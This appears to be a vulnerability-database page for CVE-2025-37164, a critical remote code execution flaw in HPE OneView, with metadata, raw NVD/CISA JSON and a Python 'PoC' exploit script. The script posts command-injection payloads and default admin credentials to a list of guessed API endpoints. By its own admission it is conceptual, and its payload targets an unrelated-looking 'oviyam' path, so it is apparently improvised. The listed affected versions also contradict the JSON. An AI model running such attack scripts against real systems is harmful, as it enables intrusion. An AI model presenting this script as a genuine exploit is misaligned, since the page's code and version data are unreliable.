Security Vulnerability Report
中文
CVE-2025-37164 CVSS 10.0 CRITICAL

CVE-2025-37164

Published: 2025-12-16 17:16:08
Last Modified: 2026-01-10 02:00:02

Description

A remote code execution issue exists in HPE OneView.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:hpe:oneview:*:*:*:*:*:*:*:* - VULNERABLE
HPE OneView < 8.30
HPE OneView < 8.20 Update 350
HPE OneView < 8.10 Update 450
HPE OneView < 8.00 Update 500
HPE OneView < 7.60 Update 550
HPE OneView < 7.50 Update 700

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-37164 HPE OneView RCE PoC Note: This is a conceptual PoC for educational and security research purposes only. Unauthorized access to computer systems is illegal. """ import requests import sys import argparse # Disable SSL warnings for testing environments requests.packages.urllib3.disable_warnings() def check_vulnerability(target_url, command='whoami'): """ Check if target is vulnerable to CVE-2025-37164 """ target = target_url.rstrip('/') # Common OneView API endpoints endpoints = [ '/rest/login-sessions', '/api/login-sessions', '/ovui/security/users', '/api/scripting', '/rest/appliance-manager/backups' ] # PoC payload - attempts to inject system command # The actual vulnerable parameter and endpoint may vary payload = { 'userName': 'admin', 'password': 'admin', 'authUri': f'http://localhost/oviyam5/oviyam?command=execute({command})' } headers = { 'Content-Type': 'application/json', 'X-Api-Version': '2020-03-13', 'User-Agent': 'HPEOneView-Research-PoC' } print(f"[*] Testing target: {target}") print(f"[*] Executing command: {command}") for endpoint in endpoints: try: url = f"{target}{endpoint}" print(f"[*] Trying endpoint: {endpoint}") response = requests.post(url, json=payload, headers=headers, timeout=10, verify=False) # Check for command execution indicators if response.status_code == 200 or response.status_code == 201: if command in response.text or 'root' in response.text: print(f"[+] Potential vulnerability confirmed at {endpoint}") print(f"[+] Response: {response.text[:500]}") return True except requests.exceptions.RequestException as e: print(f"[-] Error connecting to {endpoint}: {e}") print("[-] Target may not be vulnerable or is not reachable") return False if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-37164 HPE OneView RCE PoC') parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., https://target:443)') parser.add_argument('-c', '--command', default='whoami', help='Command to execute') args = parser.parse_args() check_vulnerability(args.target, args.command)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-37164", "sourceIdentifier": "[email protected]", "published": "2025-12-16T17:16:07.843", "lastModified": "2026-01-10T02:00:01.860", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A remote code execution issue exists in HPE OneView."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "cisaExploitAdd": "2026-01-07", "cisaActionDue": "2026-01-28", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Hewlett Packard Enterprise (HPE) OneView Code Injection Vulnerability", "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hpe:oneview:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.20.00", "matchCriteriaId": "F555BC60-5CE6-4D84-A77C-C7A465306064"}]}]}], "references": [{"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbgn04985en_us&docLocale=en_US", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/hpe_oneview_rce.rb", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit"]}, {"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbgn04985en_us&docLocale=en_US#vulnerability-summary-1", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory"]}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-37164", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["US Government Resource"]}]}}